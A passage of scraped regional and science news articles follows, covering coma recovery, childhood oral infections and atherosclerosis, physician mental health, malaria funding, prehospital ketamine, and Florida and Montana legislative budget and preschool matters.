headlines," said Jenny Kitzinger, co-director of the Coma and Disorders of Consciousness Research Centre at Cardiff University. "Media reports also sometimes promote a rather romanticised vision of what 'recovery' looks like," she told AFP by email. "It's important to reflect on what 'waking up' after years in a disorder of consciousness actually meansit is not like in the movies." How to explain the improvement? Muller's approach was a multi-pronged treatment: muscle exercise to help reduce spasticity, a common consequence of brain lesions; general physiotherapy; and exposure to all kinds of stimuli, including contact with family and friends. "We call this a holistic approachthe aim is to maximise the potential for recovery," said Rohaut from Paris. It is possible, he added, that lowering the dose of the epilepsy medication Omar had been taking helped her emerge from the coma-like state. In the case of brain lesions, "we sometimes mistakenly diagnose epilepsy, which is often treated with drugs that have a sedative effect," Rohaut said. What next for Munira Omar? Muller insists that Omar "can now consciously interact with her environment and return to family life." That said, expectations for her should not rise too high. "She still has suffered a very severe brain injury, so nobody should imagine that she will miraculously go back to being exactly and fully the person she was before," he said. The length of her coma-like state makes a complete come-back even less likely, added Kitzinger. "It is possible to recover from a short period of unconsciousness relatively well, but the longer one is in a disorder of consciousness the less likely, and more limited, any recovery is likely to be," she said. Explore further Brain scans may help predict recovery from coma 2019 AFP Atherosclerosis is a condition affecting the cardiovascular system. If atherosclerosis occurs in the coronary arteries (which supply the heart) the result may be angina pectoris, or in worse cases a heart attack. Credit: Wikipedia/CC BY 3.0 A Finnish 27-year follow-up study suggests that common oral infections in childhood, caries and periodontal diseases, are associated with an increased risk of atherosclerosis in adulthood. The association between childhood oral infections and adulthood carotid atherosclerosis was observed in The Cardiovascular Risk in Young Finns Study, an ongoing prospective cohort. "The observation is novel, since there are no earlier follow-up studies on childhood oral infections and the risk of cardiovascular diseases," says docent Pirkko Pussinen from the University of Helsinki. More progressed oral infections and inflammationsendodontic lesions and periodontitisare known to be associated with several cardiovascular risk factors and disease risk in adults. In adults periodontitis in particular has been studied extensively, and currently it is considered an independent risk factor for atherosclerotic vascular diseases. The treatment of periodontitis is also known to decrease cardiovascular risk factors. The association between childhood oral infections and atherosclerosis was found in a study conducted at the University of Helsinki, Department of Oral and Maxillofacial Diseases, in collaboration with the national Cardiovascular Risk in Young Finns Study research group. The study was published in JAMA Network Open. The study was initiated in 1980, when clinical oral examinations were conducted for 755 children aged 6, 9, and 12 years. The follow-up ended in 2007, when the carotid artery intima-media thickness was measured in an ultrasound examination of participants, who were then 33, 36, and 39 years old. The follow-up was 27 years, and cardiovascular risk factors were measured at several time points. A cumulative exposure to the risk factor was calculated in both childhood and adulthood. The signs of oral infections and inflammation collected in the study included caries, fillings, bleeding on probing, and probing pocket depth. The more signs of oral infections, the higher risk for atherosclerosis From all children, 68%, 87%, and 82% had bleeding, caries, and fillings, respectively. There were no differences between the boys and the girls. Slight periodontal pocketing was observed in 54% of the children, and it was more frequent in the boys than in the girls. Only 5% of the examined mouths were totally healthy, whereas 61% and 34% of the children had one to three signs and four signs of oral infections, respectively. "The number of signs associated significantly with the cumulative exposure to the cardiovascular risk factors in adulthood, but especially in childhood," says professor Markus Juonala from the University of Turku. Both caries and periodontal diseases in childhood were significantly associated with carotid artery intima-media thickness in adulthood. Thickening of the carotid artery wall indicates the progression of atherosclerosis and an increased risk for myocardial or cerebral infarction. The researchers emphasise, in conclusion: "Oral infections were an independent risk factor for subclinical atherosclerosis; and their association with cardiovascular risk factors persevered through the entire follow-up. Prevention and treatment of oral infections is important already in childhood." Explore further Low childhood vitamin D linked to adult atherosclerosis More information: Pussinen PJ et al. Juonala M. Association of Childhood Oral Infections with Cardiovascular Risk Factors and Subclinical Atherosclerosis in Adulthood. JAMA Netw Open. 2019;2(4): e192523. Journal information: JAMA Network Open Pussinen PJ et al. Juonala M. Association of Childhood Oral Infections with Cardiovascular Risk Factors and Subclinical Atherosclerosis in Adulthood.. 2019;2(4): e192523. DOI: 10.1001/jamanetworkopen.2019.2523 Credit: CC0 Public Domain It's no secret that physicians have stressful jobs. Figuring out how to mitigate and deal with that stress can be a key part of a successful medical career. But while individual physicians seek and find help for their mental health issues privately, the prevailing public perception among physicians is that it just isn't done. Sourav Sengupta, a University at Buffalo faculty member, knows all about it. An assistant professor of psychiatry and pediatrics in the Jacobs School of Medicine and Biomedical Sciences at UB, who also treats patients, he reached a point a few years back where he knew that escalating professional and personal demands were impacting his effectiveness. Last month, JAMA Network online published his essay, "Rebuilding more of me," about how he worked through his issues with the help of a therapist. He wasn't sure how it would be received, but in the few weeks since its publication, he has received personal email messages from dozens of physicians from across the U.S. who reached out to share perspectives and their experiences. Since publication, Altmetric rated the essay in the top 5% of publications; it has been viewed more than 6,500 times and downloaded more than 500 times. Sengupta has received emails from physicians at every career stage, who tell him it was a relief to read it, to know that others have also gone through this and have succeeded. 'I am an attending physician in the field from which I seek support' The essay describes the difficulty Sengupta felt in figuring out how to access the help he needed. "I am an attending physician in the field from which I need support," he wrote. "Many of the best clinicians and treatment setting are not options. I know them too well." Once he found a psychotherapist he could work with confidentially, who wasn't a colleague, he began to open up. Sengupta wrote: "His willingness to acknowledge that clinical work is stressful and can become toxic establishes a life raft upon which I can hoist myself, build new strategies, and shape a different perspective." That struggle is behind Sengupta now and he was ready to move on. Besides occasionally discussing his experience with others who might be going through something similar, he didn't consider sharing it more widely. He changed his mind this past winter, when the Jacobs School held an event on National Physician Suicide Awareness Day. Faculty members who direct UB residencies decided to screen a provocative documentary called "Do No Harm: Exposing the Hippocratic Hoax." The movie and a panel discussion that followed took on the issue of physician mental health and suicide. Alarming statistics were discussed, for example, that among physicians ages 25 to 39, suicide accounts for 26% of deaths compared to 11% in the same age group in the general population. The event struck a chord. More than 200 of UB's 800-plus medical residents and fellows attended. As Sengupta listened to the discussion that followed the screening, he realized he needed to share his story. "One of the most distressing themes in the discussion afterwards was how scared or resistant or hesitant the trainees were about seeking any therapeutic support," he recalled. "I had the chance to share a little of my experience and a number of residents wondered aloud if it might be helpful for more attendings and medical education leaders to open up a bit more about these kinds of things. "I wrote the essay for a very particular reason," he said. "There were hundreds of trainees in the room but the vibe around seeking support was quite negative. It wasn't that people thought physicians shouldn't get help, but that there were lots of factors that would probably keep them from seeking help, such as stigma, having enough time, concern for how it might impact their careers. "I wrote the essay in the hope that I could convey to other physicians what actually happens when you work with a therapist, that it's a collaborative process that can lead to really positive outcomes." Sengupta, who directs UB's child and adolescent psychiatry fellowship program, also has a close-up view of the difficulties that students and especially medical residents undergo. "I do see them struggling sometimes," said Sengupta. "Medicine is such a challenging field to be in in this day and age. Trainees are such a critical part of the system and at the same time, they probably need far more support than they are getting. It can be a tough system to work in. You can lose track of what brought you into the field." Self-stigmatization Among the factors contributing to physicians' reluctance to seek help are the traits that led them to medicine in the first place, Sengupta said. "Who is the type of person that ends up wanting to be a physician and then succeeding?" Sengupta asked. "We are pretty intelligent and we're hard-working but we are probably not talking about the struggles we're having. We're internalizers." At the same time, the nature of medical training itself also contributes. "The training values toughness and grit and perseverance. That shouldn't be to the exclusion of getting help and support but somehow it can be translated into that. Taking care of oneself can seem to represent weakness or incompetence. Sometimes it's the message that is given or sometimes it's a message that trainees perceive. "Doctors are supposed to be larger than life figures, take in everything, be wise and be helpful," he continued. "We do a really good job of stigmatizing ourselves. When really, getting support when needed could help us get back on track to finding meaning in helping others." He knows, however, that the challenges to changing the culture are significant. For one thing, he said, trying to find someone who can help is complicated and sensitive. "How interesting would it be if we created some sort of way for physicians who are struggling to communicate with each other a support group of sorts?" In the essay, he describes how he shared his experience with his trainees; it came up in the context of a broader conversation about self-care. Afterward, he noticed a change in the way they interacted with him. "I sense a subtle shift in the way some of them approach me. A bit more willing to discuss challenges and vulnerabilities. More open to reflection and self-improvement. A few clinicians even ask for help in finding therapists for themselves, allowing me to transform my process of seeking help into a way to help others." Explore further Physician burnout rate increased from 2014 to 2017 Credit: CC0 Public Domain A first-of-its-kind study reveals malaria spending in 2016 totaled $4.3 billion globally, far short of the annual funding target of $6.6 billion set by the World Health Organization. "A persistent challenge remains as funds are stagnating," said Dr. Joseph Dieleman, a senior author on the study, health economist, and assistant professor at the Institute for Health Metrics and Evaluation (IHME) at the University of Washington School of Medicine. "More resources are needed. This is particularly evident in the poorest countries, especially as they seek to control, or even eliminate, the disease." An increase of more than 50% in resources is needed annually to bridge the considerable $2.3 billion gap and meet the WHO target. Dieleman emphasized that the first-of-its-kind study fills a major gap in understanding spending on malaria globally. Published today in the international medical journal The Lancet Infectious Diseases, the analysis provides comprehensive and comparable estimates of total spending on the disease, and also tracks government, out-of-pocket, and donor spending. "These estimates empower donors, including government agencies, corporations, foundations, and philanthropists, as well as each country's national malaria control program, to evaluate how best to fill crucial gaps between current financing and fast-approaching global targets," he said. The study spans from 2000 to 2016 and covers 106 countries organized into three groups: malaria control countries, malaria elimination countries, and countries that eliminated the disease after 2000. Malaria control countries are those seeking to aggressively control the disease in high-burden areas, whereas malaria elimination countries have formally declared, or are strongly considering, an evidence-based goal to halt malaria transmission nationally. Researchers found malaria funding sources shifted substantially over the 17-year study period. Government expenditures accounted for more than half (55.3%, or $643 million) of global malaria spending in 2000, but constituted a much smaller share in 2016 at 28.2% ($1.2 billion). By comparison, government spending accounted for 60.1% of global spending for HIV/AIDS the same year in the 106 countries in the study. Conversely, development assistance for malaria was a major driver of overall growth in malaria spending between 2000 and 2016, increasing 18.0% per year. At $2.4 billion in 2016, development assistance represented more than half (56.5%) of total malaria spending that year, up from 14.7% ($171 million) in 2000. While development assistance for malaria accounted for more than $10 billion in total spending between 2000 and 2010, it plateaued in recent years, with 2018 levels virtually unchanged since 2010. To sustain progress, study authors noted funding above current levels of development assistance for malaria is needed. "We are 11 years away from the date set by the United Nations for 'ending the epidemic' of malaria," lead author Annie Haakenstad said. "The world is watching, and unless more financial resources emerge, that goal will represent a great lost opportunity." Additionally, the study exposes wide variations in malaria spending across the 106 countries, depending on whether countries were seeking to control the spread of the disease or eliminate it. Between 2000 and 2016, nearly $30 billion was spent on malaria in the 47 control countries, representing the bulk (72.8%) of total spending globally on the disease. $2.6 billion was spent in these countries in 2016 alone. Findings demonstrate that as malaria incidence declines toward zero, government financing becomes by far the largest source of financing. In 2016, governments in elimination countries contributed a larger share (47.9%) of malaria spending than those in control countries (28.3%). Additional findings include: The United States government has been the largest source of malaria funding since 2008, with a contribution of $876 million in 2018 alone. In terms of disbursements, the largest shares of development assistance for malaria in 2018 were distributed through the Global Fund ($1.0 billion, or 42.6% of the total) and US bilateral aid agencies including the President's Malaria Initiative ($374 million, or 15.5% of the total). The share of malaria spending sourced out-of-pocket declined from 26.4% ($307 million) in 2000 to 13.0% ($556 million) in 2016, and is highest in countries with the largest malaria burden. Between 2000 and 2016, a quarter ($10.1 billion) of total malaria spending occurred in the 41 eliminating countries, with $854 million expended in 2016 alone. In 2016, malaria spending in control countries was $14 per incident case on average; this amount was twice as high, $28, in elimination countries, due in part to lower incidence. With four of every five malaria cases globally occurring in sub-Saharan Africa, the share of malaria spending in the region in 2016 amounted to $2.7 billion, or 62.8% of global malaria spending. Highest total spending on malaria ($USD), 2016 Nigeria: $424.4 million Democratic Republic of the Congo: $189.2 million Tanzania: $183.6 million Uganda: $173.9 million Ghana: $172.0 million Mozambique: $131.4 million Angola: $119.9 million Zambia: $119.5 million India: $118.6 million Countries with largest fraction of malaria spending that is out-of-pocket (%), 2016 Niger: 58.4% Cameroon: 51.6% Somalia: 47.6% Nigeria: 37.8% Equatorial Guinea: 35.0% Sierra Leone: $32.6% India: 28.4% Republic of the Congo: 27.5% Yemen: 27.5% Ghana: 24.8% Countries with largest fraction of malaria spending that is development assistance (%), 2016 Madagascar: 91.8% Haiti: 86.8% Afghanistan: 85.1% Comoros: 85.1% Laos: 84.9% Guinea-Bissau: 83.6% Senegal: 82.5% Rwanda: 82.4% The Gambia: 81.4% Chad: 81.3% The study is entitled "Tracking spending on malaria by source in 106 countries, 2000-2016: an economic modelling study." Credit: CC0 Public Domain Dr. Gary Andolfatto didn't anticipate that furthering his pain management research would become a personal missionbut he didn't expect to injure himself either. On a sunny, snowy day in December 2015, the emergency room doctor took his bike for a spin in the forest, fell and broke his femur and then dragged himself for almost four hours until he found a park ranger who called an ambulance. "I got in the back of the ambulance and asked, 'So what painkillers do you guys have for me?'" he recalled. "And the answer was essentially, nothing." Over the course of the agonizing 45-minute trip to the hospital, Andolfatto heard an attending primary care paramedic's frustration with only being able to offer nitrous oxide for pain, particularly during hours-long transports in rural areas. "In the back of the ambulance is when I designed the study," Andolfatto said. "That was a 'change the world' moment for me." Andolfatto, a clinical assistant professor in the department of emergency medicine in the UBC faculty of medicine and researcher with the Vancouver Coastal Health Research Institute, embarked on a research study to find a solution. His findings were published recently in the Annals of Emergency Medicine. In the study, Andolfatto and his colleagues found that when ketamine is added to nitrous oxide and administered as a nose spray, it provides clinically significant pain reduction and improved comfort. Between November 2017 and May 2018, 120 patients who were suffering with acute pain were given nitrous oxide, as per existing paramedic protocols. Half of the 120 patients also randomly received intranasal ketamine and half received the placebo, saline solution. Neither the paramedic nor the patient was told which had been administered. Individuals who received ketamine along with the nitrous oxide experienced a clinically significant reduction in pain at 15 minutes and 30 minutes after administration. Comfort was most pronounced at 15 minutes. While the majority of patients reported mild dizziness and a feeling of unreality, their levels of satisfaction were higher than those who received the placebo. Andolfatto wants to see primary care paramedics throughout the province permitted to use ketamine, which is a controlled substance. Advanced and critical care paramedics have more training and pain-alleviating options, including the use of ketamine, but of the more than 4,000 paramedics in BC, 70 per cent are primary care paramedics. He hopes to see more quality assurance studies comparing ketamine and nitrous oxide with the current practice of nitrous oxide only. "We now have the science to show us that it can be used effectively and safely by primary care paramedics," Andolfatto said. "Now it's time to allow primary care paramedics to start using it and doing the quality assurance piece to ensure it provides a real benefit, is financially feasible and won't potentially be abused." Ketamine, which has previously gained notoriety for being an animal tranquilizer that's popular with ravers, is the most commonly used anaesthetic worldwide because it doesn't hamper breathing. "If I gave too much morphine, someone could stop breathing and die," Andolfatto said. "With low-dose ketamine, the risk of doing serious harm is zero, the technology is simple and cheap and the level of training is negligible. There are many reasons why it makes sense for this to be used more widely in an ambulance setting." The research involved scientists from the faculty of medicine's department of emergency medicine and the faculty of pharmaceutical sciences at UBC, Lions Gate Hospital, Surrey Memorial Hospital and British Columbia Emergency Health Services. Explore further Low-dose ketamine may be an effective alternative to opioids More information: Gary Andolfatto et al. Prehospital Analgesia With Intranasal Ketamine (PAIN-K): A Randomized Double-Blind Trial in Adults, Annals of Emergency Medicine (2019). Journal information: Annals of Emergency Medicine Gary Andolfatto et al. Prehospital Analgesia With Intranasal Ketamine (PAIN-K): A Randomized Double-Blind Trial in Adults,(2019). DOI: 10.1016/j.annemergmed.2019.01.048 Lawmakers tasked with negotiating the states health care budget agreed late Thursday night to a smaller shift in reimbursement funding for hospitals Medicaid cases, meaning hospitals with the largest fractions of those cases may not face nearly as severe a reduction as initially proposed. Senate budget writers had previously raised a plan that would have redistributed a $318 million additional fund of automatic rate enhancements to those hospitals into general funding for all hospitals in the state. (The state currently reimburses all hospitals for Medicaid care at a certain base rate.) But negotiators agreed to shrink that redistribution to just $9.5 million, or 3 percent of the total fund, for the upcoming budget year. The change means that potential cuts to the states largest safety net hospitals, like Jackson Health in Miami-Dade or Tampa General, are unlikely to reach into the tens of millions as had been first projected. It means a slight reduction that hospitals can live with. Hospitals can plan. Its not a drastic reduction, said Sen. Aaron Bean, the joint panels health care budget chief. I think the industry can live with it. Floridians are going to be well taken care of at their local hospital. The House had initially suggested trimming hospital Medicaid reimbursement spending by 3 percent in both inpatient and outpatient care, which would have been about $110 million. That would have meant slight cuts for every hospital across the board. But the Senates plan, to instead reshuffle the additional Medicaid enhancement payments into the base rates paid to all hospitals, would have given the majority of hospitals a small boost while dealing major cuts to the approximately two dozen hospitals that currently get the additional funds. Proponents of the Senate plan had said bolstering the base rate funding would mean money more fairly follows the patient. Safety-net hospitals, which labeled the additional money a critical care fund, said that the money was necessary because those hospitals disproportionately handle more severe and complex cases. Though its clear those hospitals will not lose as much, its not yet clear how much individual hospitals will gain or lose. Lawmakers are still negotiating other details related to hospitals Medicaid reimbursements, such as how the base rate funding is weighted to pay for more complicated, complex medical cases. What House and Senate negotiators are also likely to agree to early is how the state will handle its policy of retroactive eligibility for Medicaid, which determines how long the program will cover past medical bills. Last year, the Legislature had approved shortening the period from three calendar months to just one calendar month, though advocates said the change could hurt seniors and those with disabilities. Bean said the House is likely to agree to a plan to extend the policy for just one year, rather than permanently as initially suggested, and authorize a study to collect data on how the change affects patients before it is reconsidered in 2020. Lawmakers also plan to bump up still unresolved differences in the budget to each chambers budget chief Friday, and those reimbursement details are just one of several health care issues left on the table. The chambers still have to reach agreement on some funding related to child welfare, how to fund a waitlist for caring for people with disabilities, and a proposal that would require the Agency for Persons with Disabilities to restructure its Medicaid waiver. And though both chambers have now agreed to a mild cut to the enhancements fund, the fund may be trimmed further in future years, suggested Sen. Rob Bradley, who will soon take over budget negotiations with his House counterpart Rep. Travis Cummings. What happens in future years we're still discussing, he said Thursday night. We want the system to wean off [those] payments over time but those are ongoing discussions. The legislative session is scheduled to end by May 3. For that to happen, the chambers must reach agreement on all budget issues by Tuesday, so the budget can sit for a required 72 hours before the vote. Prioritise intellectual property rights Copyright laws need to be updated to keep up with technological advancements. What looked like a brown-headed cowbird flitted onto the front end of the old logging locomotive at the Historical Museum at Fort Missoula on Thursday. It cocked its head down at Larry Ingold as he pointed out the most weathered parts of old No. 7. Then Mr. Bird popped through a rusted hole inside of the huge diamond-shaped smokestack. Must be a nest in there, Ingold noted. There are dozens of unknowns about the locomotive manufactured in 1923 at the Willamette Iron and Steel Works in Portland, Oregon, and for the last 30 years a centerpiece at the county museum. The steam engine chugged up and down drainages of the Blackfoot Valley hauling logs in the 1920s, 30s and 40s, and came out of retirement in 1954 to co-star in the Hollywood production of Timberjack. Ingold and museum officials are in the early but encouraging stages of figuring out how to save it from the elements, if not restore it. At the very minimum we want to make sure that its preserved and that it doesnt continue to deteriorate, said Matt Lautzenheiser, the museums executive director. There are funding sources to identify and a condition report to complete before further restoration measures are considered, he added. Ingold will set up an information table, and No. 7 will open its cab doors to visitors Saturday at the annual Forestry Day at Fort Missoula, which is preceded on Friday by preliminary collegiate competition of the nations only Pro-Am Logging Show. Professional and collegiate lumberjacks and lumberjills from throughout the Northwest and Canada will be competing. As usual, the University of Montanas Woodsman team is in the mix of an event hosted for the past 23 years by the Society of American Foresters (SAF). One feature on Fridays competition schedule is log rolling, or burling, which SAF historian and event coordinator Scott Kuehn said will start around 3 p.m. Saturday will be a day of ax throwing, more burling, pole climbing and cross-cut sawing. Loudest and perhaps most popular of all are the hot saws, oversized homemade or self-modified chain saws that, according to SAF promotional material, are 10% chain saw and 90% alcohol and nitro-burning, fire-breathing monsters. Outside the logging stadium, antique logging equipment will be fired up. The collection includes a new addition, a 1927 Caterpillar Sixty that Kuehn spent the winter rebuilding and fired up for the first time this week. Horses will give high-wheel logging demonstrations, and the working steam-powered sawmill will be sawing wood. It's all a nod to the long and formative history of the timber industry in Missoula County, a niche in which the No. 7 locomotive fits comfortably. It was designed as an improvement to the similar Shay engine manufactured in Lima, Ohio, and one of just 32 of what Ingold said were kind of a 4-wheel drive steam engine produced by Willamette Iron and Steel. Some 2,700 Shays were built. The Anaconda Companys lumber division in Bonner operated a fleet of eight logging locomotives. The other seven were Shays. No. 7 was the only one built by Willamette that was powered by coal steam rather than oil. Among their endearing aspects: they were built for easy maintenance. These were designed to go out into the woods, break and have a guy with a rock and hammer out there fixing them, said Ingold, who has no trouble climbing under this one. No. 7 was first operated by William A. Clarks Western Lumber Co., headquartered across the Blackfoot River from the Anacondas Bonner mill. It was delivered in July 1924 to Western Lumbers Arthur Spur, two miles east of Arlee. Anaconda bought out Western Lumber Co. and its locomotive in 1928, putting it to work mostly in the Blackfoot for the next 20 years. By the late 1940s, trucks had shouldered out trains in the logging world. No. 7 was retired in 1948 and stored in the Bonner mill yard until Republic Pictures came to town in 1954. The motion picture Timberjack, a tale of logging wars in the West, featured actors Sterling Hayden, Vera Ralston, Chill Wells and composer/actor Hoagy Carmichael. By the 1960s it was on display in a park adjacent to the Bonner plant. In January 1989 it was lifted by a pair of cranes onto a low-boy trailer and hauled to Fort Missoula, a gift from Anacondas successor, Champion International. Ingold spent 10 years operating Sierra Railways Railtown 1897 State Historic Park in Jamestown, California. His resume is packed with the restorations and operations of historic engines, and hes lost count of how many movies he appeared in with trains. Maybe 35 or 40, he said. He chuckled Thursday while sitting in the engineer's perch in No. 7 when he recounted a runaway train scene in the 1990 film Back to the Future III. Actress Mary Steenburgen, as Clara Clayton, leaned out of Sierra Railways movie star locomotive and hollered Emmitt! to Christopher Lloyds Doc Brown. She was sitting on my lap, Ingold said. Retired, Ingold and his wife Jan moved to Hamilton a couple of years ago. Restless, he went looking for a project and found one at Fort Missoula. We were so fortunate that Larry found us, said Lautzenheiser. He kind of fell into our laps. The deteriorating engine had been a sticking point at the museum for years. One of the challenges of a project this big thats so specialized is you really need somebody who knows what theyre doing and is kind of willing to be a champion of a project like this," Lautzenheiser said. "Thats kind of what Larrys becoming for us. Ingold held an exploratory meeting in March at the museum that he estimated drew 35-40 people. Weve developed a list off that of people who were interested in helping, and then weve been kind of waiting, he said. The weather hasnt been awfully conducive to coming out here and working. Thatll change soon, as work days are planned starting next week in conjunction with those of Kuehn and the foresters. Ingold said the group has two main goals: to assess the condition of the locomotive inside and out, and to get a roof over its head for the first time in its life. Doing a huge amount of work without getting it under cover is kind of like throwing sand against the tide, said Ingold, who envisions a pole barn. Lautzenheiser said there are preservation grants available, some specific to train restoration and railroad history. Private donations and adopt-a-piston type programs are also possibilities. We see it as definitely a few-year project, he said. Its not something that I can tell you six months from now were going to have a brand new sparkly train that runs. You must be logged in to react. Click any reaction to login. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The last of many nails was driven into the coffin of public preschool funding at the Montana legislature Thursday, as two last-ditch proposals were rejected. That leaves no replacement for the expiring $3 million-per-year STARS preschool program and no aid for public preschool programs built using a four-year, $40 million federal grant. The final two proposals, brought as amendments to SB 352, a budget companion bill, reflected both ambitions for a sweeping program that has been coveted by Gov. Steve Bullock and attempts to keep what the state already has in place. A free conference committee advanced the bill after rejecting the amendments Thursday. A proposal from Rep. Eric Moore, a Miles City Republican, left much of the framework of his earlier bill that encompassed public schools, private programs, and Head Start programs, but it eliminated a new state early education department. After a bridge year to get up and running, it would have cost about $11 million per year. The committee rejected a similar amendment Wednesday in a 4-2 vote, and the changes Thursday made no difference, with Democrats voting yes and Republicans voting no. An amendment from Sen. Jon Sesso, a Butte Democrat, would have extended STARS funding and offered aid to programs that had received money from federal Preschool Development Grants worth $11 million over two years. It was killed on the same party lines as Moore's amendment. There are a lot of families that are served by this program, and I dont want to let them down, Sesso said. Sen. Ryan Osmundson, a Fergus County Republican, argued both proposals were too expensive. This is always the challenge with accepting federal money and starting new programs, is when the federal government starts backing out, we start, as a state, having to back-fill these things, he said. Sen. Nancy Ballance, a Hamilton Republican, appeared unswayed by any evidence that STARS, which was pitched as a pilot program, was worth the money. She argued that the program shouldn't be extended. It just doesnt make sense to me to run another pilot," she said. Bullock had trumpeted a state-issued report that called the STARS program "successful in every sense." In a press release emailed out only seconds after the committee killed the amendments, legislative Democrats blasted Republicans for abandoning existing preschool programs. The amendments Wednesday and Thursday were supported by Democrats, as was a bill earlier in the session from Rep. Casey Schreiner, a Great Falls Democrat, that died in committee. But Moore's HB 755, the model for his amendments, split both Democrats and Republicans in its vote in the House Education Committee. Schreiner and Bullock supported the bill, but funding for private providers and a new state department proved too much for some Democrats to stomach, especially amid opposition from education advocacy groups. And while Moore sponsored the bill, it didn't swing widespread Republican support. After the bill's failure, Bullock blasted both Republicans and Democrats who opposed it. The attempts to use a companion bill as a vehicle for a preschool program attracted hawkish attention from education advocacy groups, like the Montana School Boards Association and state teacher's union, who opposed Moore's proposal. The STARS program's creation through a companion bill in 2017 went largely unnoticed by those groups, who argued that the inclusion of funding for private programs could lead to expanded funding for K-12 private schools in Montana. Education groups opposed the use of free conference committees like Thursday's to legislate policy issues. Legislators have wide latitude to make both fiscal and policy changes in such committees. What the funding cliff means for preschool programs isn't totally clear, though many are bracing for cuts. Both public and private STARS programs have prepared to reduce services to account for the loss of funding, as have some public programs built with preschool development grant money. STARS had added about 300 high-quality preschool slots in Montana. Preschool Development Grant-funded programs added more than 1,000 more. A new $4.2 million federal preschool grant the state received will be put toward a preschool study, not direct funding for slots. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The communications director for Gov. Steve Bullock is departing at the start of next month, and the position will be filled by the governor's press secretary. Ronja Abel has worked with Bullock for more than three years and is leaving to start her own business. Press Secretary Marissa Perry will take over when Abel departs. I'm proud to have worked alongside Gov. Bullock fighting for Montanans," Abel said in a press release Friday. The rest of the country could learn a thing or two from the way he gets things done. It's been a heck of a ride, but now it's on to the next adventure for me." Bullock praised Abel's work in his administration, as well as Perry's transition. I am lucky to have had these two very strong and talented women by my side through some of the most memorable moments of my time as governor, Bullock said in the release. I am extremely grateful for my friendship with each of them and confident they will be successful in the opportunities they are taking on next. Before taking over as communications director, Abel was the deputy communications director. She came to the governor's office after working as communications director for the Department of Commerce. Perry said in a statement she's looking forward to moving into the director role. Its an honor to continue serving with an effective leader who is always focused on Montanans best interests and doing whats right for this state, Perry said. She has been press secretary since January 2017. She worked on Bullock's re-election campaign in 2016 as deputy communications director and before that was the communications director for the governors Office of Community Service. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A deep breath and perhaps a beer are now in order, according to Montana Historical Society Director Bruce Whittenberg. A bill creating the Montana Museums Act of 2020 and authorizing construction and funding of the MHSs Heritage Center project in Helena cleared the Legislature on Thursday by a 58-40 House vote. Senate Bill 338 carried by Sen. Terry Gauthier, R-Helena, increases state lodging sales and use tax from 3% to 4%, a measure expected to yield $9 million per year in full effect. The bill establishes a historic preservation grant program for museums around the state and directs 20% of lodging tax revenue to the Heritage Center project through the end of 2024. The project includes construction of a new building adjoining the current MHS building near the Capitol, increasing available space by about 66,000 square feet. Whittenberg said earlier this session that Gauthiers bill represented the best mechanism yet proposed to fund the project, for which the MHS began seeking state funding 14 years ago. Im excited for all the state of Montana because this was truly the Montana Museums Act of 2020, Whittenberg said. So theres so much in it for small museums and communities around the state, and it also helps us solve the problem with the Montana Historical Society. Gauthier echoed that sentiment when talking about the potential the bills grant program holds for museums in towns of all sizes in Montana. What I like best about this bill is Bozemans going to get a piece of this, Maltas (going to) get a piece, Sidney, throughout the whole state, Gauthier said. The grant program receives 5% of lodging tax revenue in the five years the Heritage Center commands a 20% share. From the beginning of 2025 on, the Heritage Center and grant program will likely see 6% shares to coordinate with the Infrastructure Development and Economic Accountability Act, or House Bill 553, carried by Rep. Eric Moore, R-Miles City. For the programs first act, the bill provides grants of $400,000 to the historic Daly Mansion in Hamilton and Moss Mansion in Billings to help pay for deferred maintenance. We made this thing work, and its good for Montana, Gauthier said. And its good for Helena, its good for every small town in the state. He credited a bipartisan effort and work with the Solutions Caucus for helping the bill finally reach the governors desk. Rep. Julie Dooling, R-Helena, carried the bill in the House and made the blast motion to move it out of House Taxation to the House floor last week. Dooling said Thursday she wasnt sure at first whether the bill would garner enough House votes to finally pass. We knew that we had the votes to get the blast out, we just didnt know for sure if we had enough votes for the second reading and third reading, said Dooling, who added that she was really happy to see the bill finally clear the Legislature. I had heard a lot of rumors this morning that people were going to change their yes votes to no votes, but we actually picked up two. The Senates adjournment on April 28, 2017, killed a lodging tax increase which would have funded the project before it could be debated. In 2015, a bill providing $25 million for the project passed the Senate and reached third reading in the House but failed four times. House Taxation revived Gauthiers bill April 12 a day after tabling it, but voted 9-9 on motions to send the bill to the House floor and table it a second time. Doolings April 18 blast motion finally brought the bill to the House, where it passed second reading the same day. A spokeswoman for Gov. Steve Bullock confirmed Thursday that the governor intends to sign the bill, saying that the projects funding was a priority throughout his administration. Bullock, per state term limits, will not be in office for the next regular legislative session in 2021. Weve got some work to do now, but its something weve been anticipating for a long time, Whittenberg said. Engineering and architecture need to be revisited, he added, as does fundraising MHS is committed to raising $10 million towards the Heritage Centers total cost, estimated at $44 million last session. This is something thats going to be good for our kids, our grandkids and down the road, Gauthier said. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 EVERGREEN Montana Highway Patrol says a 15-year-old girl has died after a vehicle crashed into her home while she slept and a 31-year-old man is in custody pending formal charges. The Flathead Beacon reports that troopers say a pickup truck veered off a road, struck a sign and some bushes and crashed into the home in Evergreen about 2 a.m. Friday. It then left the scene. The Flathead County Sheriff's Office says the victim, identified as Erin Howk, died at the scene. Authorities say they later detained Jared A. Parsons of Kalispell who was being held without bond at the Flathead County Detention Facility. It was not immediately known whether he had an attorney. The incident remains under investigation. ___ Information from: Flathead Beacon, http://www.flatheadbeacon.com You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 1 Angry 0 Storage tanks, pipelines estimated to cost Rs 41b Nepal Oil Corporations planned new storage tanks and oil pipelines are estimated to cost Rs41.15 billion, a pre-feasibility study shows. The Institute of Engineering Consultancy Services carried out the preliminary survey for the state-owned oil monopoly. Caring for other peoples children during the period when the brain grows more rapidly than at any other time of life is a tremendous responsibility. Supporting and encouraging childrens rapid progress is a joy. And, operating a home-based childcare business has all the complications of other businesses, including licensing regulations, insurance, supplies, professional development and employees. The recent (April 21) article about the MyVillage franchise opportunity described one strategy to support home childcare business owners with the business side. At Child Care Resources were excited about this venture and hope it results in more childcare businesses to help meet the needs of working parents. The number of childcare home facilities in Montana has declined by 39% since 2010. This has created an access 